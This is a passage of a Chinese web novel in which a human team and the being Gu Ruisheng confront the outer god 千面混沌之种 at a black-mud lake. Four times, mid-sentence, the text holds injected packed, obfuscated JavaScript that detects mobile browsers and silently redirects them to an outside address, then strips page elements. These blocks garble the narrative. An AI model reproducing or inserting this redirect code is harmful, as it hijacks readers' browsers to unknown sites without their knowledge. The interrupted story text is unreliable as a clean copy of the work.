但由于这几年积累下来的经验和教训,他们平时会刻意避免自己说出甚至想到两者——尤其那位人类死敌的真名。 而在确认了这次行动的目标是确认【圣髓】的存活后,大家都开始冒险提起祂的名讳。 可惜,目前没有一次能成功获得对方的回应。 在场没人提出最有可能的“其实这个情报是假的,祂就是死透了”的可能,猜测道: “也许是信号不好,毕竟上面盖了一层不知道多厚的烂泥。” 另一个人也吐槽道:“或者单纯不不想理我们。” 严卓好像被这个猜测刺了一下,他皱着眉,面露担忧。 他的表情被身边一个看上去无所事事的中年人发现,中年人凑上前来,好奇地问:“怎么了?发生什么事情了?让我听听呗。” 程老一眼猜出严卓是在担心顾瑞生,翻了个白眼,三言两语将顾瑞生的情况解释了一下。 接下来现场的人分为了两派,第一派认同程老,觉得顾瑞生只是暂时分不清记忆的归属,并因此而隐隐担忧他的状态。 而另一派则站在严卓的这边,因为他们觉得这种发展更酷炫一点。 不过两边都知道这种事情光凭嘴是讨论不出结果的,正好调试机器也需要一定的时间,几人便干脆顺着两种猜测闲聊。 戴着眼镜的中年人总结道:“所以程老是担心小顾会一时冲动直接跳进河里并暴毙,而你担心小顾跳进河里拿回力量之后会因为‘神与感情不可共存定理’慢慢莫名其妙死掉。” 严卓与程老张了张嘴,最后又都闭上了。 几个人也不是真的在乎他们的反应,完全沉浸在了自己的世界里,自顾自地分析着。 “但小顾不是说他自己有办法解决这个问题吗?” “那万一他其实只是想用这种办法让大家安心,其实他没有办法呢?” 几人有一搭没一搭地想了几种可能,直到之前玩梗冷场了的那个中年人望向严卓,道:“你这种阻止对象往上爬的人,在我们那个年代是要被挂在表白墙上的,你知道吗?” 现场的气氛又是一凝,随后爆发出了一阵此起彼伏的笑声。 他的同伴一抽一抽地附和,“对、对对对,还会被大家劝分,觉得你这样没出息,说小顾可以配得上更好的。” 严卓:“……真的吗?” 其他人更乐了,“真的真的。” 突然,一阵尖锐的警报声打破了现场欢快的气氛,大家齐齐扭头,戴眼镜的男人从器械上抬起双手,“……我弄好了。” 这好像是比之前警报声更加刺耳的某种警示,短暂的沉默之后,所有人都收敛起了笑容。 “那就来吧。” 最先提出要听八卦的中年人站起来,向前一步。 “我先。” 戴眼镜的中年人拿出装备,一边帮对方穿上,一边最后嘱咐道,“你身上的这个潜水服似的东西是某任信息茧最后的产物,目前我们只发现这东西能一定程度上隔离‘黑泥’的侵蚀,但没有任何具体数据,所以你一定要小心,感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074251|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不对就立刻上浮。” 中年人点头,“嗯,我会至少把装备带回来的。” “……嗯。” 程老以及其它几个人站在一旁。 看上去有一半的人都没什么事情干,但那只是表象。 等中年人牺牲,就会轮到他们了。 在场的绝大部分人都是作为耗材组进队伍里的。 在真正“下潜”之前,大家正做着最后的检查。 严卓突然动作一顿,动了动耳朵,疑惑地望向街边的拐角处。 “引擎的声音……” * 稍早一些的时候,另一边。 顾瑞生在心底复盘着这两天发生的事情。 之前在郑师傅身上感受到自己能量的时候,对方虽然有些恍惚,但状态总体而言还算正常。 真正的变故是发生在对方念出自己尊名后不久。 顾瑞生沉默半晌后问道:“你吞了我的部分力量?” 坏东西:“【嗯。】” 顾瑞生:“昨天,是你在叫我?” 坏东西:“【嗯!】” 这就说得通了。 顾瑞生所掌握的权柄和眼前这位没有半点相似,两人的能量也不会融合,被他污染就是被他污染,被坏东西污染就是被坏东西污染。 而如果真的有倒霉蛋同时接触了他们两个的能量,两者在人类脆弱的躯壳中拉扯争执,眨眼间就能将那人类消耗一空,所以顾瑞生才暂且将这种可能忽略不计。 但顾瑞生也曾经听说过,极端情况下,如果双方有意控制,便可以像包汤圆一样,将其中一方的能量暂时“藏”起来,大大减少对被污染者的伤害。 顾瑞生自己当然没有配合,但这坏东西一个人干了他们俩个的活。 本来就是微操,又偏要浮上来和顾瑞生对话,郑师傅体内的原本就不是很完善的平衡被瞬间打破,并最终发展到现在的地步。 顾瑞生微垂着眼,“我还有最后一个问题,你为什么这么快就重新开始活动了?” “我见过你和其它外神之间的斗争,时间对你们来说没有意义,你们从不会着急去干什么事情。” 顾瑞生深吸一口气,“我确定我之前伤你不算轻,就算只是最简单的修整,你也至少该安静几百年的时间。” 祂——千面混沌之种的回答很简单。 “【因为人类很有趣。】” 郑师傅的声带已经变型,连带着祂说话的声音也十分扭曲,只有黑泥一般的阴影模仿着发声的原理摩擦鼓动着,形成一串串破碎而可怖的,让人毛骨悚然的音节。 “【我还给自己起了一个人类的名字,叫……】” 这个鬼东西,竟然敢在他的面前,用着外星的语言,占着他同胞的身体,说祂给自己起了个人类的名字。 “我要撕烂你的脸。” 顾瑞生淡淡打断道。 这是千面混沌之种得到的第一个,也是唯一一个警告。 顾瑞生闪电般袭了上来。 千面混沌之种的反应也很迅速。 引擎的声音轰鸣而起,脚下这只有外表还保留着隐约的面包车壳子,其实内里不知道成了什么样子的载具在祂的操控下无视了街上所有的建筑物,横冲直撞着,在楼体表面形成一个个难以形容的空洞,一路直线来到了湖泊的边缘,并毫不减速地直接冲了进去。 过程中,顾瑞生感觉到他们好像越过了几个人,但他现在没有时间关注那些细枝末节的事情。 顾瑞生现在脑海中只有一个想法。 ——他要千面混沌之种死。 12. 第 12 章 掉入湖中之后,千面混沌之种便像是融入大海的水滴,消散在顾瑞生的手中。 随即,四面八方都传来了祂的声音。 那不再是实际上的音波,而是某种直击灵魂的念动。 【你不满意。】 【为什么?】 祂能感受到顾瑞生的情绪,却不能理解。 【我是在帮你啊。】 【你不是想找回自己的力量吗?】 顾瑞生能感受到祂在注视着自己。 【那些人类隐瞒你,忌惮你,扔下你,放任你和你的半身分离。】 【是我把你带过来的呀。】 说话间,祂还翻出了一段记忆给顾瑞生看。 那是昨天还在面包车上的时候,郑师傅和程老之间发生的对话。 记忆中,面包车在飞速行驶,郑师傅正拿着保温杯“买醉”,先是和程老复述了与顾瑞生之间的谈话,随后满面愁容地感叹自己的状态好像更差了。 “都影响发挥了。” 他说。 程老听后沉默了一阵,说既然这样,那接下来的行动就不能再带顾瑞生了,并和郑师傅商量,能不能第二天早上找个借口把人留下。 郑师傅答应了,他有些感叹地说也许换一个文采好一点的人就能说服顾瑞生,都是他不好。 程老安慰说那也不一定,因为他本来就是一个固执的孩子,有自己的想法,不是你的问题。 郑师傅感动地抓住了程老的手,而程老对此的回答是:谢谢,如果你能把手放回方向盘上就更好了。 记忆到这里停止。 顾瑞生没有理睬祂,努力试着“下潜”。 他没有被千面混沌之种影响状态,因为显然,祂根本不知道自己到底在放些什么。 与其和这种鬼东西置气,不如干点实际的。 比如,根据刚刚记忆中的说法,和千面混沌之中的意思,现在这湖底应该有顾瑞生原本的部分力量。 顾瑞生现在的的状态基本相当于被千面混沌之种吞进身体里,体感的方向并不准确,只有凝神静气,努力试着牵引力量回应。 千面混沌之种身上的特性有很多,但没有任何一个与放弃类似。 【是因为这次我附身的这个人类你比较喜欢吗?】 祂猜测道,【如果是这样的话对不起,这个我已经用坏了,一会赔你一个新的。】 顾瑞生能感觉到属于自己的力量正在不规律地波动。 千面混沌之种将能量形容为意志的半身,这其实很形象,因为祂们的身体是由能量组成,而祂们的意志能以此为锚点,在大大小小的聚合能量间转移。 所以相应的。 当意志开始产生波动的时候。 附近的能量也会回应自己的主人。 顾瑞生能感觉到自己的精神有一阵恍惚,身体轻飘飘的。 这是灵魂与肉.体分离的前兆。 顾瑞生现在的肉.体是特殊的,虽然由能量聚集而成,却拥有正常人类所应拥有的一切生活反应,还能完美地隔离他本应有的对其他人的糟糕影响。 他曾经——包括现在也对后者怀抱感激,但眼下,这种绝对安全的隔离也阻挡了他与自己半身的链接。 他必须舍弃这具肉.体。 他不记得自己当初是怎么构造出如此完美的身体了,这也许是他临死前最后念头的具现化,也许不是,但顾瑞生知道,这是一场奇迹,而它没有复刻的可能。 在他舍弃这具身体后,没有了他意识支撑的肉.体会迅速被千面混沌之种的力量侵吞,而没有了身体,他再也无法回归之前平静的日常。 但这都是没有办法的事情。 顾瑞生最后抬头望向湖面之上——他什么都看不见,只能单纯地祈祷自己的方向感没有出错,但他将永远都不会得知这个问题真正的答案。 灵魂与肉.体脱离的感觉很微妙,那像是脱离了某种束缚,又像是失去了某种重要的东西。 在短暂的适应后,顾瑞生的感知变得尤为敏锐,他不再受限于人类只能感受到的五感,在某种玄妙的指引下,他破开了千面混沌之中的阻碍,接触到了自己的半身。 湖面之上,几人仍旧惊疑不定地望着一丝波澜都没有的湖面,不清楚刚刚到底发生了什么。 “刚刚那只能是郑师傅了吧?但他为什么要这么做?” “看刚刚的模样,那面包车的表面变形严重,看一眼都觉得头昏脑胀……可能就是情况恶化得厉害,所以郑师傅为了不让从自己身体孵化出来的东西影响其他人,所以干脆一起投湖了?” 其他人想了想,觉得确实有这种可能。 刚刚正打算下水,并因为恰巧在面包车行进的轨迹上,差点在为人类捐躯之前先死于车祸的中年人此时正瘫软在一旁,心脏在胸腔中噗通噗通剧烈地跳动着。 已经决意去死是一回事,被吓一跳又是另外一回事,就像大部分恐怖游戏中玩家已经猜到接下来会发生什么,但开门时被怪物贴脸依旧会吓一跳。 一只手伸了过来,中年人道谢后握了上去,被拉着起身之后,手的主人出人意料地开始扒他身上的装备。 中年人:“……” “?” 程老听到这边的动静,走了过来,“你要干什么?” 严卓动作不停,“我刚刚看到了,他也在车上。” 程老愣了一下,他和其他人一样,只是看见面包车就已经开始不适,也因此一点都没看清里面的具体情况。 “你确定吗?” 旁边听见声音的人一齐望了过来,他们都皱着眉,语气中是掩饰不住的叹息。 严卓知道这种语气,一般人们在听到他人身上遭遇不幸时就会这样,其下有一种隐晦的接受,代表他们确定这种不幸已经发生且不可逆转。 严卓不接受。 穿着潜水服的中年人有些犹豫。 他之前听说过严卓,这人无论是记忆力,还是逻辑推理能力都很强,而且目前看来还不受外神的轻度污染,可以注视甚至记忆一些他们只是看见就会发疯的信息,基本可以当做智能AI或者行走的图书馆来理解,是人类未来发展的重要基石。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074252|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他们不可能让他冒险下去救人的。 中年人试图劝阻,“你别着急,我下去帮你找人,你就待在岸上等我好消息,怎么样?” 但严卓寸步不让,在中年人犹豫的时候,在程老持续的注视下,他已经马不停蹄地将潜水服扒下来三分之一了。 中年人不再犹豫,他将目光投向程老,试图用自己的眼神引起对方的良知,让程老能管管严卓。 而程老的目光同样开始移动,他注视着平静的湖面,在他的注视下,那原本黑得一点层次都没有的水面好像泛起了一丝涟漪。 程老眼皮一跳,立刻做出了决定。 “好。” 严卓的动作一顿,抬头望向程老。 程老没有回看回去,他招呼着中年人,还有剩下站在一旁正在平复心情的其他人,“都来帮忙!快一点!” 大家都隐约感受到了什么,内心说不出是什么想法,但动作都很快。 严卓下意识想要推拒,但被程老一巴掌拍在了胳膊上。 “老实点。” 严卓盯着对方认真的眼睛,沉默了两秒,不再乱动。 和一开始中年人穿装备时的状况不同,在大家的帮助下,只是三两分钟的时间那装备就被穿到了严卓的身上。 虽然没时间做细致沟通,但所有人的分工都很明确,程老在做最后的嘱咐,两人为严卓的装备做检查与调试,剩下的人则将彼此的背包都聚在一起,从中挑出最有用的部分,最终汇成一个。 “如果只是我想多了那最好,如果我没有的话……” 程老将背包塞进严卓的怀里,“那你以后一个人也要好好的。” 严卓抱着背包,张了张嘴,好像有什么话想说。 突然,一旁的湖面开始剧烈的波动。 黑色的能量开始蒸腾,一部分化为雾气盘旋、上升,另一部的状况比之前凝实了不少,像是流动着的岩浆,内部正在进行某种剧烈的能量变化,隐隐可以看见明亮的光。 湖泊最中央的位置开始鼓胀,形成了一个弧形的凸起,在达到某种极限之后,黑色的能量像是被戳了个洞似的倏地破开。 里面居然有一个人。 或者,一个看上去像人的生物。 祂原本弓着背,在突破束缚之后缓慢起身,伸展,整个“人”呈现后仰的趋势,抬头仰望着天空。 祂散发着淡淡的微光,只有上半身露出水面,却依旧有好几层楼那么高,程老和其他人看不清对方的脸,但他们注视着祂,下意识便开始流泪。 只有严卓看清了一切。 严卓看到顾瑞生披着一个简单的外袍站在湖中,上面镶嵌着淡淡的金边,黑色的长发垂落在湖面上,像一张大大的蛛网。 他看到那外袍的材质,那发丝的组成,那皮肤的表面。 它们都由大大小小的,严卓认识和不认识的文字组成。 严卓看不太懂,但他有一种感觉。 自己正在窥探顾瑞生的一生。 不等人们多做反应,黑色的能量开始反扑。 它们溢出了湖面。 13. 第 13 章 程老他们转身想跑。 但人类的速度怎么可能赶得上外神的力量。 只是一眨眼的时间,黑色的能量便蔓延到了他们脚边。 那能量甚至并不汹涌,就像它其实是平静而无害的,就像那些过往的死亡都和它无关。 几人甚至没有发生任何文学作品中容易出现的纰漏,所有人的反应都很快、没人为了装备之类的死物在原地浪费时间、没人摔倒…… 他们显然已经拼尽了全力,只是那还远远不够。 在最后的时刻,程老松开了手。 之前严卓一直在拉着他跑,但程老知道,自己的极限到了。 手中一空的严卓猛地回头,程老此时嘴角勾起一抹释然的笑容。 【要好好的。】 他做出了这样的口型。 严卓立刻转身,以已经踏出去的左脚为中心,急刹,扭转,重心突兀的转变让他整个身体像一张被拉满的弓。 程老想要叹息,但最终他也没说什么。 毕竟理智想想,这一两步,一两秒的差距根本起不了什么作用。 接下来就看严卓身上那些装备能挺多久了。 就在程老已经接受自己命运了的时候,突然,他的余光看见有什么东西正快速袭来。 还没等程老反应过来,那东西已经迅速地将程老、严卓,以及不远处跑的更远的其他人都拢在一起,像碗一样罩着他们,形成了一个简单的庇护所。 所有人都被这个转折吓了一跳。 但很快,他们便聚集在一起,先是简单查看彼此的状况,随后立刻默契地将目光齐齐落在正保护着他们的东西上面。 因为刚刚分散逃跑,所以这个罩着他们的东西其实体积不小,至少有两三百平那么大,但整体的高度却很有限,顶多只有两米来高,几乎是擦着穿着厚重装备的严卓的头顶划过。 与刚刚离得远时不同,离得近了,虽然依旧看不清最真实的情况,但大家都隐约能看见那散发着淡淡微光的表面好像是由无数细小的东西组成。 在短暂的沉默后,谢临川率先说出了大家心中所想:“……这,【圣髓】的身体是不是就是这个材质的啊?” 对于他们来说,这可能并不是什么好事。 过去的经验告诉他们,就算【圣髓】没有恶意,长时间的近距离接触也会让人类无法避免地被污染,一步步接近祂,甚至最终变为祂的一部分。 众人都想到了这个问题,就在他们思考着该如何解决的时候,突然,外面传来了什么东西爆炸了一般的声音,在短暂的延迟后,大地开始抖动,而罩着他们的东西也轻颤了一下,并整个缩小了一圈。 现场倏地安静了下来,互相对视一眼,彼此都意识到了问题的关键。 ……好吧。 大家不约而同地想到。 也许思考自己会不会变异还早了一点。 另一边的顾瑞生状态不太好。 这是理所当然的事情,五年的时间无论是对他还是对千面混沌之种来说,都是一眨眼的功夫。 而五年前他就已经是抱着必死的信念动手的了,现在已经是强弩之末。 好在千面混沌之种好像不是很想动手,一直试图和顾瑞生交谈。 祂没有正式凝聚出自己原本的身体,因为祂发现顾瑞生好像对自己的脑袋格外关注,即使现在祂的顶端也是撕裂的,有无法描述的能量从中泄出,祂像个黑色的幽灵飘荡在空中,绕着顾瑞生转圈。 黑洞似的湖泊是现成的陷阱,一道道细长的能量从中刺出,比蛛丝更纤细,比钢铁更坚硬,穿透顾瑞生的身体,将他固定再湖泊的中央。 和五年前不同,顾瑞生的伤口处没有流出好似人类一般的鲜血,因为就连那鲜血也只是他拟态的一部分,而顾瑞生现在没有余力继续伪装。 此时他伤口的位置若隐若无地有黑色正在扩散,形成他身体的文字正在扭曲变型,最终变成了另一种不可名状的语言。 顾瑞生的视线在自己身上所有的伤口上扫过,随后深吸一口气,仿佛在忍耐什么。 千面混沌之种看着面前伤痕累累的顾瑞生,飘到他的面前,盯着他的眼睛。 【其实我还想知道一点。】 祂问,【你为什么对我恶意那么大?】 顾瑞生的舌尖顶了一下脸颊,那里刚刚也被划开了一道深深的口子,部分外溢的能量在他的口腔中聚集成了发光的一小滩。 顾瑞生轻轻吸气,随后很快吐出,那能量便就这么落在面前的黑色幽灵上。 千面混沌之种缓缓低头,祂从那一小滩能量中认出了不下二十种文名的脏话。 祂沉默了两秒,才继续完成了被打断前的话题,【我只是在玩我的游戏,是你突然过来打断我的。】 不知是不是错觉,顾瑞生好像从千面混沌之种的语气中听出了一丝丝的委屈。 虽然只有一点点,但也足够让顾瑞生沉思。 他想起了宇宙中的某个谣言。 谣传,千面混沌之种是唯一一个拥有感情的外神。而他平日里疯狂的举动,也被解释为是对抗疯狂的某种手段。 之前顾瑞生和千面混沌之种在宇宙中只短暂地打过几次照面,每次都没有正面接触,所以对其不是很了解。 但是目前看来,祂确实和静滞之瞳不太一样。 静滞之瞳连话都不说,而千面混沌之种总是在询问,并且还觉得人类有趣。 ——这至少代表祂有好奇心。 有好奇心,就有利用的办法。 顾瑞生思忖片刻,试探性地开口,“就是因为你玩的游戏。” 【我的游戏?】 千面混沌之种沉默了半晌后猜测道,【你觉得我玩的很烂?】 顾瑞生语气不变,“因为你玩弄生命。” 【……我还是不懂。】 千面混沌之种指出,【你又不是没干过类似的事情。】 虽然话题是在自己的引导下走向这步的,但真的听到这话,顾瑞生还是觉得自己的心跳漏了一拍。 他下意识地瞥向严卓他们的方向,那能量罩并不能完全屏蔽声音,但好在两者之间的距离够远,而千面混沌之中不会说任何地球语言。 几分钟之前,顾瑞生还曾因此感到冒犯,而眼下这反而成了他最庆幸的事情。 顾瑞生闭了闭眼,“有吗?我不记得了。” 【当然有!就是我们第一次见面的时候!】 千面混沌之种语气激动,【我带你去看!】 说着,祂的身体突然膨胀,就像一张大网,想把顾瑞生罩进去。 顾瑞生知道自己的计划已经成功了一半。 但在确保另一半计划成功之前,他还有一件重要的事情要做。 顾瑞生其实不太清楚一会千面混沌之种要以什么方式“带”自己回到过去,所以他也不知道一会保护着严卓他们的那部分能量到时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074253|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候能否正常运转。 那么,为了确保万无一失,有时可能需要一些相对极端的手段。 顾瑞生深吸一口气,集中精神,罩着严卓他们的能量开始加厚,并且以一种奇妙的方式连接,最终形成了某种内部循环。 在确定能量流转没有问题后,顾瑞生分裂了自己的意志,留了一个副本在那股能量上。 对于其它外神来说,这是一项很简单的操作,祂们有需要的时候就会分裂自己,就像人想拿东西时会伸手一样自然。 因为祂们没有感情,所以即使两边的记忆并不互通,分裂出去的意志无论多久也还是不会有本质上的变化,随时可以成功回收。 而对于顾瑞生来说,虽说这样同样不会带来痛苦,但分裂出去的意识如果长时间没有回收的话,便有“变异”的风险。 到时候顾瑞生轻则精神分裂,最严重的情况,甚至可能会给自己创造出一个全新的敌人。 不过这次计划顾瑞生直觉用不了太长时间,而万一真出什么事情了……这也算留了个后手。 在短暂的失去意识之前,顾瑞生在千钧一发之际完成了分裂的过程,这让他的动作稍微有了一瞬间的迟钝。 但好在这种迟钝被意志转移时的恍惚掩饰了过去,没被发现。 顾瑞生再回过神来的时候,发现自己正飘荡在宇宙里。 他下意识地检查自己的状态,尤其是检查那短暂的不到半个月的时间到底是不是在做梦,随后他意识到自己如今正处于一种十分微妙的境地,时间与空间都处于某种叠加状态。 此时他既在地球,也在宇宙;既在过去,也在当下。 随后他抬头,看见了不远处的星球。 那是一颗和地球很像的蔚蓝色的行星,而行星的不远处是一颗和太阳很像的赤红色的恒星,只是那恒星比太阳要巨大得多得多。 但恍惚间,顾瑞生的眼前好像还有另一幅景象。 蓝色的行星彻底消失在原地,原本正在膨胀的红巨星已然熄灭,只剩下作为死亡后残骸的白矮星,它与原本想比几乎小的可怜,散发着微弱的蓝白色的光,而这微弱的余晖在上亿年后也会完全熄灭,就像原本的光亮从未存在过一样。 千面混沌之种飘到他的身边,【怎么样?这下眼熟了吗?】 顾瑞生回忆了一下现在的时间点,咬着牙道:“没有。” 他之所以想引千面混沌之种把自己带回来,是因为他们初遇的时候,静滞之瞳也在。 顾瑞生的力量来源于静滞之瞳,如果他自己是家用电器,那对方就是发电机。 虽然处于眼下这种叠加状态时,恢复效果会差上一点,但怎么也比坐以待毙强。 顾瑞生愿意赌一把。 但千面混沌之种不知道为什么,竟然没有直接跳转到两边初见时的时间点。 现在静滞之瞳还不知道在宇宙哪里飘着呢,所以顾瑞生只能激一下对方,看祂能不能再次跳转时间。 千面混沌之种有一点点生气了,他觉得顾瑞生在装傻。 如果是其它外神,那么祂甚至不应该知道“装傻”到底是什么意思,但千面混沌之种比那还要再进一步。 在窥视了数以亿记的人类的生活后,祂此时心底升起了一个顾瑞生完全没想到的,完全不符合外神身份的想法。 好啊,你喜欢用人类的习性处理事情是吧。 千面混沌之种想,那我也用人类的方式回礼好了。 14. 第 14 章 另一边,程老一行人正安静地聚集在一起。 在第一次缩圈之后,他们便不敢离“墙壁”太近,几个人围坐在罩子最中心的部分,又为了不错过任何情报,连呼吸都放得又轻又浅,几乎连彼此之间的存在都很难确切地感受到。 他们能听见外面有楼房倒塌的声音,路灯折断的声音,什么东西被贯穿的声音,以及祂们之间说话的声音。 那并不是传统的音波,至少不只是音波,隐隐约约,断断续续,众人知道这也是某种污染手段,但人在紧张的时候就是会下意识地搜寻周遭的一切信息,更别提这声音即使捂着耳朵而一直往脑子里钻。 就这么过了一阵,突然,仿佛就是一个恍惚的功夫,外面的所有声音都消失了。 安静得有些诡异。 程老凝神静气,专心听了一阵,猜测道:“外面这是结束了?” “可能不是。”苏行止摇了摇头,指着他们头顶的罩子,“如果结束了,我们应该就会被放出去了吧。” “说到底,我们最初为什么会被保护起来?” 一位同伴突然指出,“这算是一种保护措施吧?” “当然算,如果没有祂,我们之前在被那黑泥追上的时候就已经死了。” “也许祂真的很喜欢人类?” “喜欢到为了人类拼命?” “……” 在短暂的沉默后,谢临川突然说道:“说不定是因为顾瑞生之前说的都是真的。” 这是大家心中都想过,但没人敢真正说出来的猜测。 这和特摄中的普通人第一次发现奥特曼是人变的有什么区别? 迎着大家的注视,谢临川语气不变,“可能他真的在很久之前不知为何穿越到了某个外神的身上,历尽千辛万苦回了家,并奉上了自己的一切。” “这就能解释【圣髓】为什么对人类这么友好了。” “……如果是这样的话,好像也不错。” 程老突然笑了下,“这样至少他还能再活上很久。” 一位同伴也道,“而且这样的话,我们人类这边就终于有一战之力了,这是好事啊。” 众人都笑了笑,但这笑容都不达眼底。 虽然一开始是抱着必死的心态入队的,但他们的心底不是完全没有迷茫。 实际上从今天早上开始,大家的心情便都很沉重,即使是在异变突发之前,在有人特意找话题舒缓气氛的情况下,他们聊天也聊的乱七八糟的。 而眼下,在这短短的不到半个小时的时间里,他们经历了太多的事情,情绪的保险丝好像被熔断了一样,大家的脑海中均是一片空白,只是机械地思考着谢临川提出的假设。 如果【圣髓】就是顾瑞生,那好像确实不错,外神的力量,加上人类的慈悲,这会是他们能得到的最完美的助力。 但如果顾瑞生就是【圣髓】……那又是另一回事了。 虽然看上去上面两种假设完全相同,但在实际相处的时候却天差地别。 严卓的视线从“墙壁”上的文字离开,他察觉到了众人情绪的波动,想了想,从大家给他收拾的背包中掏出了一个小册子。 这小册子上的东西其实大家都背得滚瓜烂熟,但所有人都喜欢贴身带着,就像某种护身符。 严卓将小册子翻到第一页的位置,上面依旧是那两段字,那是人类对曾经救助了他们的奇迹的感激与承诺。 严卓清了清嗓子。 他刚要大声朗读册子上的内容,便被程老隐晦地制止。 现在所有人的思绪都很混乱,也许让大家自己安静地思考一阵也挺好的。 严卓看了程老一眼,慢吞吞地收回了册子。 突然,没有任何预兆,一个戴着眼镜的中年人腿一软摔倒在地。 他身边的同伴下意识想去拉他,结果却被对方躲开。 同伴有些疑惑地望向中年人,对方却只是摇摇头,示意同伴看自己的腿。 他小腿的位置不知何时沾染上了黑色的能量,因为那并不疼痛,所以竟然一直到能量彻底侵吞了他的小腿导致重心不稳才被发现。 “怎么了?发生什么事……” 其他人凑上前来,并在发现中年人腿部的情况时倏地收声。 “大概是刚刚逃跑的时候不小心沾上的。” 中年人面露歉意,“对不起,我自己也是刚刚才发现的。” “你没有什么需要抱歉的。” 程老叹了口气。 就当程老还想安慰几句的时候,突然,他发现中年人腿上的空洞好像抖了一下。 程老曾看过无数人被黑暗慢慢吞噬,但这种情况他还是第一次见。 这让他的大脑有一瞬间的空白。 下一秒,那空洞就像是一个开口,一个水龙头,大股大股的黑色能量从中涌出,而中年人则反之像被抽空的包装袋一样,很快干瘪了下去。 两件事情几乎同时发生。 第一,黑色的能量沿着地面迅速漫延,眨眼间便来到了程老他们的脚边。 第二,他们头顶罩子的光芒在一瞬间被提亮到所有人都睁不开眼睛的程度。 在短暂的失明期间,对相差悬殊的实力的无力感席卷了在场所有人的心尖,恐惧被放到最大。 一瞬间,在过山车般剧烈起伏的情绪下,甚至有人破罐子破摔地想着,自己还不如早点死了。 人类感受不到能量的交锋,他们不知道具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074254|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体发生了什么,只知道等他们再睁开眼睛的时候,眼前的景象已经彻底脱离了他们的认知。 他们竟然身处某个破败的城市。这城市和地球上的不同,更加高耸入云,建筑的表面光滑得浑然一体,肉眼看不见任何的缝隙,散发着黑曜石般的色泽,像是完全不透光的样子。 地面上肉眼可见的设施都比地球上要大上一号,对比着估算了一下,这个星球上人的平均身高应该在一米八左右。 几人的心脏还在胸腔中剧烈的跳动着,提醒着刚刚的恐惧的同时,也是众人仍旧活着的证明。 程老第一个回过神来,四处张望,在发现严卓的身影后他心底升起了一丝遗憾,但很快,他便没有功夫管这个了。 无数虚虚实实的人影出现在街道上,于预想中的外星生命体不同,他们看上去就和人类一样。 不,不止是“和人类一样”这么简单。 程老在那些人影中认出了熟悉的面孔——这些根本就是和程老他们一样被带来的人类! 那人数还在不停地增加,而样本多了,程老也看出了问题,和程老这群至少还能自由活动的人不同,后来出现的那些人大多神情恍惚,目光呆滞,状态看上去非常不好。 在一片如墓碑般伫立的人群中,程老他们的身影分外显眼。 远处,一个看上去有一米九左右,长相不似人类的身影望着程老他们,叹息般地自言自语着。 “【竟然……还有人醒着。】” 严卓敏锐地感知到了那人的注视,回头望去。 那人好像因为严卓的敏锐稍微吃了一惊,站了出来,迎着众人境地的目光,停在距离众人大概三四米的地方。 他看上去和人类很相似,有着巧克力色的皮肤和银色的头发,身上穿着某种像是防护服一样的东西。 如果不是场合不对,他看上去会更像不知从哪里跑来的cosplayer而不是真正的外星人。 他试图表达自己的友善,“【我没有恶意……不过我这么说你们大概也听不懂。】” 与之前不同,虽然是同种语言,但程老他们竟然能毫无障碍地听懂,而且没感觉有任何异样,就像有什么东西,在帮助他们与面前人以某种方式链接的同时又保护了他们。 程老他们努力克制着自己的表情,但可能还是有某些微妙的变化让来人意识到他们其实听得懂。 在意识到这点之后,来人的表情有一瞬间的扭曲。 这让严卓他们瞬间警惕了起来,意识到自己的失态后,那人捂着脸,努力平复着自己的心情。 “【对不起,我没有别的意思,只是……】” 他一字一顿地说:“【你们真的非常、非常的幸运。】” 15. 第 15 章 程老他们依旧没有放松。 不如说,在发现来人的反复无常后,他们的精神更加紧绷了。 因为他们发现,在来人情绪激动的时候,对方身上纯黑色的防护服有了一瞬间的变型。 严卓观察半晌指了下对方的脚下,大家顺着方向仔细看去。 来人脚下的影子看上去平平无奇,但只要盯着看,便会发现对方脚部的边缘与地面接触的部分十分模糊,像是一直处于某种微小的不规则变化状态。 与其说他是站在地面上,不如说他是从影子里冒出来的。 这个认知让大家如临大敌。 